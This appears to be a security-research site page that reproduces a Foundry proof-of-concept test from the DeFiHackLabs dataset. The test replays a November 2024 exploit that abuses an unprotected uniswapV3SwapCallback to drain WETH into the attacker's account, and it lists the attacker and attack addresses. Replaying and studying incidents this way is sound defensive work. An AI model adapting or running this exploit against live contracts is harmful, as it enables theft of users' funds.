Skip to content
THREATWIRE

Public reproduction file

src/test/2024-11/CoW_exp.sol

Public reproduction file for dataset entry CoW.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/CoW_exp.sol73 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 59K
7// Attacker : https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f000034
8// Attack Contract : https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c3
9// Vulnerable Contract : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41
10// Attack Tx : https://etherscan.io/tx/0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f9
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1854538807854649791
17// Twitter Guy : https://x.com/TenArmorAlert/status/1854538807854649791
18// Hacking God : N/A
20address constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant attacker = 0x00baD13FA32E0000E35B8517E19986B93F000034;
22address constant addr2 = 0xA58cA3013Ed560594557f02420ed77e154De0109;
23address constant addr3 = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;
25interface IWETH9 {
26 function balanceOf(address) external view returns (uint256);
27 function withdraw(uint256) external;
30interface ICallbackLike {
31 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external payable;
34contract ContractTest is Test {
35 function setUp() public {
36 vm.createSelectFork("mainnet", 21135438-1);
37 }
39 function testPoC() public {
40 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
41 vm.startPrank(attacker, attacker);
42 AttackerC attC = new AttackerC();
43 attC.attack();
44 vm.stopPrank();
45 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
46 }
49// 0x67004E26F800c5EB050000200075f049AA0090c3
50contract AttackerC {
51 receive() external payable {}
52 function attack() public payable {
53 // call uniswapV3SwapCallback on addr2 with provided args and forward msg.value
54 bytes memory data = abi.encode(
55 uint256(1976408883179648193852),
56 addr3,
57 addr1,
58 address(this)
59 );
61 ICallbackLike(addr2).uniswapV3SwapCallback(
62 -1978613680814188858940,
63 5373296932158610028,
64 data
65 );
67 uint256 bal = IWETH9(addr1).balanceOf(address(this));
68 IWETH9(addr1).withdraw(bal);
69 payable(tx.origin).transfer(address(this).balance); // here, we did not transfer tip to coinbase, all to the attacker
70 }
72 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “CoW” (2024-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x00bad13fa32e0000e35b8517e19986b93f000034

  • Attack Contract

    0x67004e26f800c5eb050000200075f049aa0090c3

  • Vulnerable Contract

    0x9008d19f58aabd9ed0d60971565aa8510560ab41

  • Attack Tx

    0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f9

File record

Name
CoW
Path
src/test/2024-11/CoW_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4843ce6b1baaf3b150fafa079e667bf3ef9fe5c8
Language
Solidity
Size
73 lines
Date
2024-11-07
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/CoW_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4843ce6b1baaf3b150fafa079e667bf3ef9fe5c8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.